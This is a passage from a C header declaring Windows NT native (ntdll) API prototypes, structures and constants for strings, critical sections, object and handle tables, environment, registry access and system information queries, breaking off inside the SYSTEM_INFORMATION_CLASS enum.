261 | 262 | 263 | NTSYSAPI 264 | BOOLEAN 265 | NTAPI 266 | RtlPrefixUnicodeString ( 267 | IN PUNICODE_STRING String1, 268 | IN PUNICODE_STRING String2, 269 | IN BOOLEAN CaseInSensitive 270 | ); 271 | 272 | 273 | NTSYSAPI 274 | NTSTATUS 275 | NTAPI 276 | RtlDuplicateUnicodeString( 277 | IN BOOLEAN AllocateNew, 278 | IN PUNICODE_STRING SourceString, 279 | OUT PUNICODE_STRING TargetString 280 | ); 281 | 282 | 283 | NTSYSAPI 284 | NTSTATUS 285 | NTAPI 286 | RtlAppendUnicodeToString ( 287 | PUNICODE_STRING Destination, 288 | PCWSTR Source 289 | ); 290 | 291 | 292 | NTSYSAPI 293 | NTSTATUS 294 | NTAPI 295 | RtlAppendUnicodeStringToString( 296 | IN OUT PUNICODE_STRING Destination, 297 | IN PUNICODE_STRING Source 298 | ); 299 | 300 | 301 | NTSYSAPI 302 | NTSTATUS 303 | NTAPI 304 | RtlUnicodeStringToInteger ( 305 | IN PUNICODE_STRING String, 306 | IN ULONG Base OPTIONAL, 307 | OUT PULONG Value 308 | ); 309 | 310 | 311 | NTSYSAPI 312 | NTSTATUS 313 | NTAPI 314 | RtlIntegerToUnicodeString ( 315 | IN ULONG Value, 316 | IN ULONG Base OPTIONAL, 317 | IN OUT PUNICODE_STRING String 318 | ); 319 | 320 | 321 | NTSYSAPI 322 | NTSTATUS 323 | NTAPI 324 | RtlGUIDFromString( 325 | IN PUNICODE_STRING GuidString, 326 | OUT GUID *Guid 327 | ); 328 | 329 | 330 | NTSYSAPI 331 | LONG 332 | NTAPI 333 | RtlCompareUnicodeString ( 334 | IN PUNICODE_STRING String1, 335 | IN PUNICODE_STRING String2, 336 | IN BOOLEAN CaseInSensitive 337 | ); 338 | 339 | 340 | NTSYSAPI 341 | VOID 342 | NTAPI 343 | RtlCopyUnicodeString( 344 | OUT PUNICODE_STRING DestinationString, 345 | IN PUNICODE_STRING SourceString 346 | ); 347 | 348 | 349 | NTSYSAPI 350 | NTSTATUS 351 | NTAPI 352 | RtlUpcaseUnicodeString ( 353 | OUT PUNICODE_STRING DestinationString, 354 | IN PUNICODE_STRING SourceString, 355 | IN BOOLEAN AllocateDestinationString 356 | ); 357 | 358 | 359 | NTSYSAPI 360 | NTSTATUS 361 | NTAPI 362 | RtlDowncaseUnicodeString ( 363 | OUT PUNICODE_STRING DestinationString, 364 | IN PUNICODE_STRING SourceString, 365 | IN BOOLEAN AllocateDestinationString 366 | ); 367 | 368 | 369 | NTSYSAPI 370 | BOOLEAN 371 | NTAPI 372 | RtlEqualUnicodeString ( 373 | IN PUNICODE_STRING String1, 374 | IN PUNICODE_STRING String2, 375 | IN BOOLEAN CaseInSensitive 376 | ); 377 | 378 | 379 | NTSYSAPI 380 | VOID 381 | NTAPI 382 | RtlFreeUnicodeString( 383 | IN PUNICODE_STRING UnicodeString 384 | ); 385 | 386 | 387 | NTSYSAPI 388 | NTSTATUS 389 | NTAPI 390 | RtlAnsiStringToUnicodeString ( 391 | OUT PUNICODE_STRING DestinationString, 392 | IN PANSI_STRING SourceString, 393 | IN BOOLEAN AllocateDestinationString 394 | ); 395 | 396 | 397 | NTSYSAPI 398 | NTSTATUS 399 | NTAPI 400 | RtlUnicodeStringToAnsiString ( 401 | OUT PANSI_STRING DestinationString, 402 | IN PUNICODE_STRING SourceString, 403 | IN BOOLEAN AllocateDestinationString 404 | ); 405 | 406 | 407 | NTSYSAPI 408 | VOID 409 | NTAPI 410 | RtlInitAnsiString ( 411 | OUT PANSI_STRING DestinationString, 412 | IN PCHAR SourceString 413 | ); 414 | 415 | 416 | NTSYSAPI 417 | VOID 418 | NTAPI 419 | RtlFreeAnsiString ( 420 | IN PANSI_STRING AnsiString 421 | ); 422 | 423 | 424 | NTSYSAPI 425 | NTSTATUS 426 | NTAPI 427 | RtlFormatCurrentUserKeyPath( 428 | OUT PUNICODE_STRING CurrentUserKeyPath 429 | ); 430 | 431 | 432 | NTSYSAPI 433 | VOID 434 | NTAPI 435 | RtlRaiseStatus ( 436 | IN NTSTATUS Status 437 | ); 438 | 439 | 440 | NTSYSAPI 441 | VOID 442 | NTAPI 443 | DbgBreakPoint( 444 | VOID 445 | ); 446 | 447 | 448 | NTSYSAPI 449 | ULONG 450 | _cdecl 451 | DbgPrint ( 452 | PCH Format, 453 | ... 454 | ); 455 | 456 | 457 | NTSYSAPI 458 | ULONG 459 | NTAPI 460 | RtlRandom( 461 | IN OUT PULONG Seed 462 | ); 463 | 464 | //----------------------------------------------------------------------------- 465 | // Critical section functions 466 | 467 | NTSYSAPI 468 | NTSTATUS 469 | NTAPI 470 | RtlInitializeCriticalSection( 471 | IN PRTL_CRITICAL_SECTION CriticalSection 472 | ); 473 | 474 | 475 | NTSYSAPI 476 | BOOL 477 | NTAPI 478 | RtlTryEnterCriticalSection( 479 | IN PRTL_CRITICAL_SECTION CriticalSection 480 | ); 481 | 482 | 483 | NTSYSAPI 484 | NTSTATUS 485 | NTAPI 486 | RtlEnterCriticalSection( 487 | IN PRTL_CRITICAL_SECTION CriticalSection 488 | ); 489 | 490 | 491 | NTSYSAPI 492 | NTSTATUS 493 | NTAPI 494 | RtlLeaveCriticalSection( 495 | IN PRTL_CRITICAL_SECTION CriticalSection 496 | ); 497 | 498 | 499 | NTSYSAPI 500 | NTSTATUS 501 | NTAPI 502 | RtlDeleteCriticalSection( 503 | IN PRTL_CRITICAL_SECTION CriticalSection 504 | ); 505 | 506 | //----------------------------------------------------------------------------- 507 | // Object functions 508 | 509 | // 510 | // Object Manager Directory Specific Access Rights. 511 | // 512 | 513 | #ifndef DIRECTORY_QUERY 514 | #define DIRECTORY_QUERY (0x0001) 515 | #define DIRECTORY_TRAVERSE (0x0002) 516 | #define DIRECTORY_CREATE_OBJECT (0x0004) 517 | #define DIRECTORY_CREATE_SUBDIRECTORY (0x0008) 518 | #define DIRECTORY_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0xF) 519 | #endif 520 | 521 | typedef enum _POOL_TYPE { 522 | NonPagedPool, 523 | PagedPool, 524 | NonPagedPoolMustSucceed, 525 | DontUseThisType, 526 | NonPagedPoolCacheAligned, 527 | PagedPoolCacheAligned, 528 | NonPagedPoolCacheAlignedMustS, 529 | MaxPoolType 530 | } POOL_TYPE; 531 | 532 | 533 | // 534 | // For NtQueryObject 535 | // 536 | 537 | typedef enum _OBJECT_INFORMATION_CLASS { 538 | ObjectBasicInformation, // = 0 539 | ObjectNameInformation, // = 1 540 | ObjectTypeInformation, // = 2 541 | ObjectTypesInformation, // = 3 //object handle is ignored 542 | ObjectHandleFlagInformation // = 4 543 | } OBJECT_INFORMATION_CLASS; 544 | 545 | // 546 | // NtQueryObject uses ObjectBasicInformation 547 | // 548 | 549 | typedef struct _OBJECT_BASIC_INFORMATION { 550 | ULONG Attributes; 551 | ACCESS_MASK GrantedAccess; 552 | ULONG HandleCount; 553 | ULONG PointerCount; 554 | ULONG PagedPoolCharge; 555 | ULONG NonPagedPoolCharge; 556 | ULONG Reserved[3]; 557 | ULONG NameInfoSize; 558 | ULONG TypeInfoSize; 559 | ULONG SecurityDescriptorSize; 560 | LARGE_INTEGER CreationTime; 561 | } OBJECT_BASIC_INFORMATION, *POBJECT_BASIC_INFORMATION; 562 | 563 | // 564 | // NtQueryObject uses ObjectNameInformation 565 | // 566 | 567 | typedef struct _OBJECT_NAME_INFORMATION { 568 | UNICODE_STRING Name; 569 | } OBJECT_NAME_INFORMATION, *POBJECT_NAME_INFORMATION; 570 | 571 | // 572 | // NtQueryObject uses ObjectTypeInformation 573 | // 574 | 575 | typedef struct _OBJECT_TYPE_INFORMATION { 576 | UNICODE_STRING TypeName; 577 | ULONG TotalNumberOfObjects; 578 | ULONG TotalNumberOfHandles; 579 | ULONG TotalPagedPoolUsage; 580 | ULONG TotalNonPagedPoolUsage; 581 | ULONG TotalNamePoolUsage; 582 | ULONG TotalHandleTableUsage; 583 | ULONG HighWaterNumberOfObjects; 584 | ULONG HighWaterNumberOfHandles; 585 | ULONG HighWaterPagedPoolUsage; 586 | ULONG HighWaterNonPagedPoolUsage; 587 | ULONG HighWaterNamePoolUsage; 588 | ULONG HighWaterHandleTableUsage; 589 | ULONG InvalidAttributes; 590 | GENERIC_MAPPING GenericMapping; 591 | ULONG ValidAccessMask; 592 | BOOLEAN SecurityRequired; 593 | BOOLEAN MaintainHandleCount; 594 | POOL_TYPE PoolType; 595 | ULONG DefaultPagedPoolCharge; 596 | ULONG DefaultNonPagedPoolCharge; 597 | } OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION; 598 | 599 | // 600 | // NtQueryObject uses ObjectHandleFlagInformation 601 | // NtSetInformationObject uses ObjectHandleFlagInformation 602 | // 603 | 604 | typedef struct _OBJECT_HANDLE_FLAG_INFORMATION { 605 | BOOLEAN Inherit; 606 | BOOLEAN ProtectFromClose; 607 | } OBJECT_HANDLE_FLAG_INFORMATION, *POBJECT_HANDLE_FLAG_INFORMATION; 608 | 609 | // 610 | // NtQueryDirectoryObject uses this type 611 | // 612 | 613 | typedef struct _OBJECT_DIRECTORY_INFORMATION { 614 | UNICODE_STRING Name; 615 | UNICODE_STRING TypeName; 616 | } OBJECT_DIRECTORY_INFORMATION, *POBJECT_DIRECTORY_INFORMATION; 617 | 618 | 619 | NTSYSAPI 620 | NTSTATUS 621 | NTAPI 622 | NtOpenDirectoryObject( 623 | OUT PHANDLE DirectoryHandle, 624 | IN ACCESS_MASK DesiredAccess, 625 | IN POBJECT_ATTRIBUTES ObjectAttributes 626 | ); 627 | 628 | 629 | NTSYSAPI 630 | NTSTATUS 631 | NTAPI 632 | NtQueryDirectoryObject( 633 | IN HANDLE DirectoryHandle, 634 | OUT PVOID Buffer, 635 | IN ULONG Length, 636 | IN BOOLEAN ReturnSingleEntry, 637 | IN BOOLEAN RestartScan, 638 | IN OUT PULONG Context, 639 | OUT PULONG ReturnLength OPTIONAL 640 | ); 641 | 642 | 643 | NTSYSAPI 644 | NTSTATUS 645 | NTAPI 646 | NtQueryObject ( 647 | IN HANDLE ObjectHandle, 648 | IN OBJECT_INFORMATION_CLASS ObjectInformationClass, 649 | OUT PVOID ObjectInformation, 650 | IN ULONG Length, 651 | OUT PULONG ResultLength OPTIONAL 652 | ); 653 | 654 | 655 | NTSYSAPI 656 | NTSTATUS 657 | NTAPI 658 | NtSetInformationObject ( 659 | IN HANDLE ObjectHandle, 660 | IN OBJECT_INFORMATION_CLASS ObjectInformationClass, 661 | IN PVOID ObjectInformation, 662 | IN ULONG Length 663 | ); 664 | 665 | 666 | NTSYSAPI 667 | NTSTATUS 668 | NTAPI 669 | NtDuplicateObject ( 670 | IN HANDLE SourceProcessHandle, 671 | IN HANDLE SourceHandle, 672 | IN HANDLE TargetProcessHandle OPTIONAL, 673 | OUT PHANDLE TargetHandle OPTIONAL, 674 | IN ACCESS_MASK DesiredAccess, 675 | IN ULONG HandleAttributes, 676 | IN ULONG Options 677 | ); 678 | 679 | 680 | NTSYSAPI 681 | NTSTATUS 682 | NTAPI 683 | NtQuerySecurityObject ( 684 | IN HANDLE ObjectHandle, 685 | IN SECURITY_INFORMATION SecurityInformation, 686 | OUT PSECURITY_DESCRIPTOR SecurityDescriptor, 687 | IN ULONG DescriptorLength, 688 | OUT PULONG ReturnLength 689 | ); 690 | 691 | 692 | NTSYSAPI 693 | NTSTATUS 694 | NTAPI 695 | NtSetSecurityObject ( 696 | IN HANDLE ObjectHandle, 697 | IN SECURITY_INFORMATION SecurityInformation, 698 | IN PSECURITY_DESCRIPTOR SecurityDescriptor 699 | ); 700 | 701 | 702 | //----------------------------------------------------------------------------- 703 | // Handle table RTL functions 704 | 705 | #define LEVEL_HANDLE_ID 0x74000000 706 | #define LEVEL_HANDLE_ID_MASK 0xFF000000 707 | #define LEVEL_HANDLE_INDEX_MASK 0x00FFFFFF 708 | 709 | typedef enum _RTL_GENERIC_COMPARE_RESULTS { 710 | GenericLessThan, 711 | GenericGreaterThan, 712 | GenericEqual 713 | } RTL_GENERIC_COMPARE_RESULTS; 714 | 715 | 716 | typedef struct _RTL_SPLAY_LINKS 717 | { 718 | struct _RTL_SPLAY_LINKS *Parent; 719 | struct _RTL_SPLAY_LINKS *LeftChild; 720 | struct _RTL_SPLAY_LINKS *RightChild; 721 | } RTL_SPLAY_LINKS, *PRTL_SPLAY_LINKS; 722 | 723 | 724 | struct _RTL_GENERIC_TABLE; 725 | 726 | typedef 727 | RTL_GENERIC_COMPARE_RESULTS 728 | (NTAPI * PRTL_GENERIC_COMPARE_ROUTINE) ( 729 | struct _RTL_GENERIC_TABLE *Table, 730 | PVOID FirstStruct, 731 | PVOID SecondStruct 732 | ); 733 | 734 | typedef 735 | PVOID 736 | (NTAPI *PRTL_GENERIC_ALLOCATE_ROUTINE) ( 737 | struct _RTL_GENERIC_TABLE *Table, 738 | ULONG ByteSize 739 | ); 740 | 741 | typedef 742 | VOID 743 | (NTAPI *PRTL_GENERIC_FREE_ROUTINE) ( 744 | struct _RTL_GENERIC_TABLE *Table, 745 | PVOID Buffer 746 | ); 747 | 748 | 749 | typedef struct _RTL_GENERIC_TABLE { 750 | PRTL_SPLAY_LINKS TableRoot; 751 | LIST_ENTRY InsertOrderList; 752 | PLIST_ENTRY OrderedPointer; 753 | ULONG WhichOrderedElement; 754 | ULONG NumberGenericTableElements; 755 | PRTL_GENERIC_COMPARE_ROUTINE CompareRoutine; 756 | PRTL_GENERIC_ALLOCATE_ROUTINE AllocateRoutine; 757 | PRTL_GENERIC_FREE_ROUTINE FreeRoutine; 758 | PVOID TableContext; 759 | } RTL_GENERIC_TABLE, *PRTL_GENERIC_TABLE; 760 | 761 | 762 | typedef struct _RTL_HANDLE_TABLE_ENTRY 763 | { 764 | struct _RTL_HANDLE_TABLE_ENTRY *Next; /* pointer to next free handle */ 765 | PVOID Object; 766 | 767 | } RTL_HANDLE_TABLE_ENTRY, *PRTL_HANDLE_TABLE_ENTRY; 768 | 769 | 770 | typedef struct _RTL_HANDLE_TABLE 771 | { 772 | ULONG MaximumNumberOfHandles; 773 | ULONG SizeOfHandleTableEntry; 774 | ULONG Unknown01; 775 | ULONG Unknown02; 776 | PRTL_HANDLE_TABLE_ENTRY FreeHandles; 777 | PRTL_HANDLE_TABLE_ENTRY CommittedHandles; 778 | PRTL_HANDLE_TABLE_ENTRY UnCommittedHandles; 779 | PRTL_HANDLE_TABLE_ENTRY MaxReservedHandles; 780 | } RTL_HANDLE_TABLE, *PRTL_HANDLE_TABLE; 781 | 782 | 783 | NTSYSAPI 784 | VOID 785 | NTAPI 786 | RtlInitializeGenericTable ( 787 | IN PRTL_GENERIC_TABLE Table, 788 | IN PRTL_GENERIC_COMPARE_ROUTINE CompareRoutine, 789 | IN PRTL_GENERIC_ALLOCATE_ROUTINE AllocateRoutine, 790 | IN PRTL_GENERIC_FREE_ROUTINE FreeRoutine, 791 | IN PVOID TableContext 792 | ); 793 | 794 | 795 | NTSYSAPI 796 | VOID 797 | NTAPI 798 | RtlInitializeHandleTable( 799 | IN ULONG MaximumNumberOfHandles, 800 | IN ULONG SizeOfHandleTableEntry, 801 | OUT PRTL_HANDLE_TABLE HandleTable 802 | ); 803 | 804 | 805 | NTSYSAPI 806 | PRTL_HANDLE_TABLE_ENTRY 807 | NTAPI 808 | RtlAllocateHandle( 809 | IN PRTL_HANDLE_TABLE HandleTable, 810 | OUT PULONG HandleIndex OPTIONAL 811 | ); 812 | 813 | 814 | NTSYSAPI 815 | BOOLEAN 816 | NTAPI 817 | RtlFreeHandle( 818 | IN PRTL_HANDLE_TABLE HandleTable, 819 | IN PRTL_HANDLE_TABLE_ENTRY Handle 820 | ); 821 | 822 | 823 | NTSYSAPI 824 | BOOLEAN 825 | NTAPI 826 | RtlIsValidIndexHandle( 827 | IN PRTL_HANDLE_TABLE HandleTable, 828 | IN ULONG HandleIndex, 829 | OUT PRTL_HANDLE_TABLE_ENTRY *Handle 830 | ); 831 | 832 | 833 | NTSYSAPI 834 | PVOID 835 | NTAPI 836 | RtlInsertElementGenericTable ( 837 | IN PRTL_GENERIC_TABLE Table, 838 | IN PVOID Buffer, 839 | IN LONG BufferSize, 840 | OUT PBOOLEAN NewElement OPTIONAL 841 | ); 842 | 843 | 844 | NTSYSAPI 845 | BOOLEAN 846 | NTAPI 847 | RtlIsGenericTableEmpty ( 848 | IN PRTL_GENERIC_TABLE Table 849 | ); 850 | 851 | 852 | NTSYSAPI 853 | BOOLEAN 854 | NTAPI 855 | RtlIsGenericTableEmpty ( 856 | IN PRTL_GENERIC_TABLE Table 857 | ); 858 | 859 | 860 | NTSYSAPI 861 | PVOID 862 | NTAPI 863 | RtlLookupElementGenericTable ( 864 | IN PRTL_GENERIC_TABLE Table, 865 | IN PVOID Buffer 866 | ); 867 | 868 | 869 | NTSYSAPI 870 | PVOID 871 | NTAPI 872 | RtlEnumerateGenericTableWithoutSplaying( 873 | IN PRTL_GENERIC_TABLE Table, 874 | IN PVOID *RestartKey 875 | ); 876 | 877 | 878 | NTSYSAPI 879 | NTSTATUS 880 | NTAPI 881 | NtClose( 882 | IN HANDLE Handle 883 | ); 884 | 885 | 886 | NTSYSAPI 887 | NTSTATUS 888 | NTAPI 889 | ZwClose( 890 | IN HANDLE Handle 891 | ); 892 | 893 | //----------------------------------------------------------------------------- 894 | // Environment functions 895 | 896 | NTSYSAPI 897 | NTSTATUS 898 | NTAPI 899 | RtlOpenCurrentUser( 900 | IN ULONG DesiredAccess, 901 | OUT PHANDLE CurrentUserKey 902 | ); 903 | 904 | 905 | NTSYSAPI 906 | NTSTATUS 907 | NTAPI 908 | RtlCreateEnvironment( 909 | BOOLEAN CloneCurrentEnvironment, 910 | PVOID *Environment 911 | ); 912 | 913 | 914 | NTSYSAPI 915 | NTSTATUS 916 | NTAPI 917 | RtlQueryEnvironmentVariable_U ( 918 | PVOID Environment, 919 | PUNICODE_STRING Name, 920 | PUNICODE_STRING Value 921 | ); 922 | 923 | 924 | NTSYSAPI 925 | NTSTATUS 926 | NTAPI 927 | RtlSetEnvironmentVariable( 928 | PVOID *Environment, 929 | PUNICODE_STRING Name, 930 | PUNICODE_STRING Value 931 | ); 932 | 933 | 934 | NTSYSAPI 935 | NTSTATUS 936 | NTAPI 937 | RtlDestroyEnvironment( 938 | PVOID Environment 939 | ); 940 | 941 | //----------------------------------------------------------------------------- 942 | // Registry functions 943 | 944 | 945 | typedef enum _KEY_INFORMATION_CLASS 946 | { 947 | KeyBasicInformation, 948 | KeyNodeInformation, 949 | KeyFullInformation, 950 | KeyNameInformation, 951 | KeyCachedInformation, 952 | KeyFlagsInformation, 953 | MaxKeyInfoClass // MaxKeyInfoClass should always be the last enum 954 | 955 | } KEY_INFORMATION_CLASS; 956 | 957 | // 958 | // Key query structures 959 | // 960 | 961 | typedef struct _KEY_BASIC_INFORMATION 962 | { 963 | LARGE_INTEGER LastWriteTime; 964 | ULONG TitleIndex; 965 | ULONG NameLength; 966 | WCHAR Name[1]; // Variable length string 967 | 968 | } KEY_BASIC_INFORMATION, *PKEY_BASIC_INFORMATION; 969 | 970 | 971 | typedef struct _KEY_NODE_INFORMATION 972 | { 973 | LARGE_INTEGER LastWriteTime; 974 | ULONG TitleIndex; 975 | ULONG ClassOffset; 976 | ULONG ClassLength; 977 | ULONG NameLength; 978 | WCHAR Name[1]; // Variable length string 979 | // Class[1]; // Variable length string not declared 980 | } KEY_NODE_INFORMATION, *PKEY_NODE_INFORMATION; 981 | 982 | 983 | typedef struct _KEY_FULL_INFORMATION 984 | { 985 | LARGE_INTEGER LastWriteTime; 986 | ULONG TitleIndex; 987 | ULONG ClassOffset; 988 | ULONG ClassLength; 989 | ULONG SubKeys; 990 | ULONG MaxNameLen; 991 | ULONG MaxClassLen; 992 | ULONG Values; 993 | ULONG MaxValueNameLen; 994 | ULONG MaxValueDataLen; 995 | WCHAR Class[1]; // Variable length 996 | 997 | } KEY_FULL_INFORMATION, *PKEY_FULL_INFORMATION; 998 | 999 | 1000 | // end_wdm 1001 | typedef struct _KEY_NAME_INFORMATION 1002 | { 1003 | ULONG NameLength; 1004 | WCHAR Name[1]; // Variable length string 1005 | 1006 | } KEY_NAME_INFORMATION, *PKEY_NAME_INFORMATION; 1007 | 1008 | typedef struct _KEY_CACHED_INFORMATION 1009 | { 1010 | LARGE_INTEGER LastWriteTime; 1011 | ULONG TitleIndex; 1012 | ULONG SubKeys; 1013 | ULONG MaxNameLen; 1014 | ULONG Values; 1015 | ULONG MaxValueNameLen; 1016 | ULONG MaxValueDataLen; 1017 | ULONG NameLength; 1018 | WCHAR Name[1]; // Variable length string 1019 | 1020 | } KEY_CACHED_INFORMATION, *PKEY_CACHED_INFORMATION; 1021 | 1022 | 1023 | typedef struct _KEY_FLAGS_INFORMATION 1024 | { 1025 | ULONG UserFlags; 1026 | 1027 | } KEY_FLAGS_INFORMATION, *PKEY_FLAGS_INFORMATION; 1028 | 1029 | 1030 | 1031 | typedef enum _KEY_VALUE_INFORMATION_CLASS { 1032 | KeyValueBasicInformation, 1033 | KeyValueFullInformation, 1034 | KeyValuePartialInformation, 1035 | KeyValueFullInformationAlign64, 1036 | KeyValuePartialInformationAlign64, 1037 | MaxKeyValueInfoClass // MaxKeyValueInfoClass should always be the last enum 1038 | } KEY_VALUE_INFORMATION_CLASS; 1039 | 1040 | 1041 | typedef struct _KEY_VALUE_FULL_INFORMATION { 1042 | ULONG TitleIndex; 1043 | ULONG Type; 1044 | ULONG DataOffset; 1045 | ULONG DataLength; 1046 | ULONG NameLength; 1047 | WCHAR Name[1]; // Variable size 1048 | // Data[1]; // Variable size data not declared 1049 | } KEY_VALUE_FULL_INFORMATION, *PKEY_VALUE_FULL_INFORMATION; 1050 | 1051 | 1052 | typedef struct _KEY_VALUE_PARTIAL_INFORMATION { 1053 | ULONG TitleIndex; 1054 | ULONG Type; 1055 | ULONG DataLength; 1056 | UCHAR Data[1]; // Variable size 1057 | } KEY_VALUE_PARTIAL_INFORMATION, *PKEY_VALUE_PARTIAL_INFORMATION; 1058 | 1059 | 1060 | 1061 | NTSYSAPI 1062 | NTSTATUS 1063 | NTAPI 1064 | NtCreateKey( 1065 | OUT PHANDLE KeyHandle, 1066 | IN ACCESS_MASK DesiredAccess, 1067 | IN POBJECT_ATTRIBUTES ObjectAttributes, 1068 | IN ULONG TitleIndex, 1069 | IN PUNICODE_STRING Class OPTIONAL, 1070 | IN ULONG CreateOptions, 1071 | OUT PULONG Disposition OPTIONAL 1072 | ); 1073 | 1074 | 1075 | NTSYSAPI 1076 | NTSTATUS 1077 | NTAPI 1078 | NtOpenKey( 1079 | OUT PHANDLE KeyHandle, 1080 | IN ACCESS_MASK DesiredAccess, 1081 | IN POBJECT_ATTRIBUTES ObjectAttributes 1082 | ); 1083 | 1084 | NTSYSAPI 1085 | NTSTATUS 1086 | NTAPI 1087 | NtQueryKey( 1088 | IN HANDLE KeyHandle, 1089 | IN KEY_INFORMATION_CLASS KeyInformationClass, 1090 | OUT PVOID KeyInformation, 1091 | IN ULONG Length, 1092 | OUT PULONG ResultLength 1093 | ); 1094 | 1095 | NTSYSAPI 1096 | NTSTATUS 1097 | NTAPI 1098 | NtEnumerateKey( 1099 | IN HANDLE KeyHandle, 1100 | IN ULONG Index, 1101 | IN KEY_INFORMATION_CLASS KeyInformationClass, 1102 | IN PVOID KeyInformation, 1103 | IN ULONG Length, 1104 | IN PULONG ResultLength 1105 | ); 1106 | 1107 | 1108 | NTSYSAPI 1109 | NTSTATUS 1110 | NTAPI 1111 | NtDeleteKey( 1112 | IN HANDLE KeyHandle 1113 | ); 1114 | 1115 | 1116 | NTSYSAPI 1117 | NTSTATUS 1118 | NTAPI 1119 | NtQueryValueKey( 1120 | IN HANDLE KeyHandle, 1121 | IN PUNICODE_STRING ValueName, 1122 | IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, 1123 | OUT PVOID KeyValueInformation, 1124 | IN ULONG Length, 1125 | OUT PULONG ResultLength 1126 | ); 1127 | 1128 | 1129 | NTSYSAPI 1130 | NTSTATUS 1131 | NTAPI 1132 | NtSetValueKey( 1133 | IN HANDLE KeyHandle, 1134 | IN PUNICODE_STRING ValueName, 1135 | IN ULONG TitleIndex OPTIONAL, 1136 | IN ULONG Type, 1137 | IN PVOID Data, 1138 | IN ULONG DataSize 1139 | ); 1140 | 1141 | 1142 | NTSYSAPI 1143 | NTSTATUS 1144 | NTAPI 1145 | NtDeleteValueKey( 1146 | IN HANDLE KeyHandle, 1147 | IN PUNICODE_STRING ValueName 1148 | ); 1149 | 1150 | //----------------------------------------------------------------------------- 1151 | // RtlQueryRegistryValues 1152 | 1153 | // 1154 | // The following flags specify how the Name field of a RTL_QUERY_REGISTRY_TABLE 1155 | // entry is interpreted. A NULL name indicates the end of the table. 1156 | // 1157 | 1158 | #define RTL_QUERY_REGISTRY_SUBKEY 0x00000001 // Name is a subkey and remainder of 1159 | // table or until next subkey are value 1160 | // names for that subkey to look at. 1161 | 1162 | #define RTL_QUERY_REGISTRY_TOPKEY 0x00000002 // Reset current key to original key for 1163 | // this and all following table entries. 1164 | 1165 | #define RTL_QUERY_REGISTRY_REQUIRED 0x00000004 // Fail if no match found for this table 1166 | // entry. 1167 | 1168 | #define RTL_QUERY_REGISTRY_NOVALUE 0x00000008 // Used to mark a table entry that has no 1169 | // value name, just wants a call out, not 1170 | // an enumeration of all values. 1171 | 1172 | #define RTL_QUERY_REGISTRY_NOEXPAND 0x00000010 // Used to suppress the expansion of 1173 | // REG_MULTI_SZ into multiple callouts or 1174 | // to prevent the expansion of environment 1175 | // variable values in REG_EXPAND_SZ 1176 | 1177 | #define RTL_QUERY_REGISTRY_DIRECT 0x00000020 // QueryRoutine field ignored. EntryContext 1178 | // field points to location to store value. 1179 | // For null terminated strings, EntryContext 1180 | // points to UNICODE_STRING structure that 1181 | // that describes maximum size of buffer. 1182 | // If .Buffer field is NULL then a buffer is 1183 | // allocated. 1184 | // 1185 | 1186 | #define RTL_QUERY_REGISTRY_DELETE 0x00000040 // Used to delete value keys after they 1187 | // are queried. 1188 | 1189 | 1190 | // 1191 | // The following values for the RelativeTo parameter determine what the 1192 | // Path parameter to RtlQueryRegistryValues is relative to. 1193 | // 1194 | 1195 | #define RTL_REGISTRY_ABSOLUTE 0 // Path is a full path 1196 | #define RTL_REGISTRY_SERVICES 1 // \Registry\Machine\System\CurrentControlSet\Services 1197 | #define RTL_REGISTRY_CONTROL 2 // \Registry\Machine\System\CurrentControlSet\Control 1198 | #define RTL_REGISTRY_WINDOWS_NT 3 // \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion 1199 | #define RTL_REGISTRY_DEVICEMAP 4 // \Registry\Machine\Hardware\DeviceMap 1200 | #define RTL_REGISTRY_USER 5 // \Registry\User\CurrentUser 1201 | #define RTL_REGISTRY_MAXIMUM 6 1202 | #define RTL_REGISTRY_HANDLE 0x40000000 // Low order bits are registry handle 1203 | #define RTL_REGISTRY_OPTIONAL 0x80000000 // Indicates the key node is optional 1204 | 1205 | 1206 | typedef NTSTATUS (NTAPI * PRTL_QUERY_REGISTRY_ROUTINE)( 1207 | IN PWSTR ValueName, 1208 | IN ULONG ValueType, 1209 | IN PVOID ValueData, 1210 | IN ULONG ValueLength, 1211 | IN PVOID Context, 1212 | IN PVOID EntryContext 1213 | ); 1214 | 1215 | typedef struct _RTL_QUERY_REGISTRY_TABLE 1216 | { 1217 | PRTL_QUERY_REGISTRY_ROUTINE QueryRoutine; 1218 | ULONG Flags; 1219 | PWSTR Name; 1220 | PVOID EntryContext; 1221 | ULONG DefaultType; 1222 | PVOID DefaultData; 1223 | ULONG DefaultLength; 1224 | 1225 | } RTL_QUERY_REGISTRY_TABLE, *PRTL_QUERY_REGISTRY_TABLE; 1226 | 1227 | 1228 | NTSYSAPI 1229 | NTSTATUS 1230 | NTAPI 1231 | RtlQueryRegistryValues( 1232 | IN ULONG RelativeTo, 1233 | IN PCWSTR Path, 1234 | IN PRTL_QUERY_REGISTRY_TABLE QueryTable, 1235 | IN PVOID Context, 1236 | IN PVOID Environment OPTIONAL 1237 | ); 1238 | 1239 | 1240 | //----------------------------------------------------------------------------- 1241 | // Query system information 1242 | 1243 | typedef enum _SYSTEM_INFORMATION_CLASS 1244 | { 1245 | SystemBasicInformation, // 0x00 SYSTEM_BASIC_INFORMATION 1246 | SystemProcessorInformation, // 0x01 SYSTEM_PROCESSOR_INFORMATION 1247 | SystemPerformanceInformation, // 0x02 1248 | SystemTimeOfDayInformation, // 0x03 1249 | SystemPathInformation, // 0x04 1250 | SystemProcessInformation, // 0x05 1251 | SystemCallCountInformation, // 0x06 1252 | SystemDeviceInformation, // 0x07 1253 | SystemProcessorPerformanceInformation, // 0x08 1254 | SystemFlagsInformation, // 0x09 1255 | SystemCallTimeInformation, // 0x0A 1256 | SystemModuleInformation, // 0x0B SYSTEM_MODULE_INFORMATION 1257 | SystemLocksInformation, // 0x0C 1258 | SystemStackTraceInformation, // 0x0D 1259 | SystemPagedPoolInformation, // 0x0E 1260 | SystemNonPagedPoolInformation, // 0x0F 1261 | SystemHandleInformation, // 0x10 1262 | SystemObjectInformation, // 0x11 1263 | SystemPageFileInformation, // 0x12 1264 | SystemVdmInstemulInformation, // 0x13 1265 | SystemVdmBopInformation, // 0x14 1266 | SystemFileCacheInformation, // 0x15 1267 | SystemPoolTagInformation, // 0x16 1268 | SystemInterruptInformation, // 0x17 1269 | SystemDpcBehaviorInformation, // 0x18 1270 | SystemFullMemoryInformation, // 0x19 1271 | SystemLoadGdiDriverInformation, // 0x1A 1272 | SystemUnloadGdiDriverInformation, // 0x1B 1273 | 